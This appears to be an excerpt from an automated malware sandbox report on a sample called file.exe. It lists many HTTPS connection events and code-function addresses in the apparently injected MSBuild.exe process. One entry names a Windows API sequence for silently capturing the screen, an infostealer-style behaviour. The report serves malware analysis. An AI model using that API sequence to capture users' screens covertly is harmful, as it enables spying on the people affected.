Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49833 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00419010 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

2_2_00419010

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCAF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6BCAF280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD0B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	2_2_6BD0B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD0B8C0 rand_s,NtQueryVirtualMemory,	2_2_6BD0B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD0B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6BD0B700

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC2021	0_2_00DC2021
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC729C	0_2_00DC729C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DDD39B	0_2_00DDD39B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DD572C	0_2_00DD572C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DCCAF2	0_2_00DCCAF2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DDBB36	0_2_00DDBB36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DD3C92	0_2_00DD3C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC1D79	0_2_00DC1D79
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DCFEF0	0_2_00DCFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E10F98	0_2_00E10F98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCA35A0	2_2_6BCA35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD153C8	2_2_6BD153C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCAF380	2_2_6BCAF380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCA5340	2_2_6BCA5340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCBC370	2_2_6BCBC370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCED320	2_2_6BCED320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCE8AC0	2_2_6BCE8AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCC1AF0	2_2_6BCC1AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCEE2F0	2_2_6BCEE2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD1BA90	2_2_6BD1BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD12AB0	2_2_6BD12AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCA22A0	2_2_6BCA22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCD4AA0	2_2_6BCD4AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCBCAB0	2_2_6BCBCAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCE9A60	2_2_6BCE9A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD02990	2_2_6BD02990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCE5190	2_2_6BCE5190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCAC9A0	2_2_6BCAC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCDD9B0	2_2_6BCDD9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCCA940	2_2_6BCCA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD1B170	2_2_6BD1B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCBD960	2_2_6BCBD960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCFB970	2_2_6BCFB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD150C7	2_2_6BD150C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCCC0E0	2_2_6BCCC0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCE58E0	2_2_6BCE58E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCD60A0	2_2_6BCD60A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCC8850	2_2_6BCC8850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCCD850	2_2_6BCCD850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCEF070	2_2_6BCEF070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCB7810	2_2_6BCB7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCEB820	2_2_6BCEB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCF4820	2_2_6BCF4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCADFE0	2_2_6BCADFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCD6FF0	2_2_6BCD6FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCF77A0	2_2_6BCF77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCB9F00	2_2_6BCB9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCE7710	2_2_6BCE7710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD176E3	2_2_6BD176E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCABEF0	2_2_6BCABEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCBFEF0	2_2_6BCBFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD0E680	2_2_6BD0E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCC5E90	2_2_6BCC5E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD04EA0	2_2_6BD04EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCF2E4E	2_2_6BCF2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCC4640	2_2_6BCC4640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCC9E50	2_2_6BCC9E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCE3E50	2_2_6BCE3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD16E63	2_2_6BD16E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCAC670	2_2_6BCAC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCF5600	2_2_6BCF5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCE7E10	2_2_6BCE7E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD09E30	2_2_6BD09E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCE0DD0	2_2_6BCE0DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD085F0	2_2_6BD085F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCBFD00	2_2_6BCBFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCCED10	2_2_6BCCED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCD0512	2_2_6BCD0512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCB64C0	2_2_6BCB64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCCD4D0	2_2_6BCCD4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCAD4E0	2_2_6BCAD4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCE6CF0	2_2_6BCE6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCB6C80	2_2_6BCB6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD034A0	2_2_6BD034A0
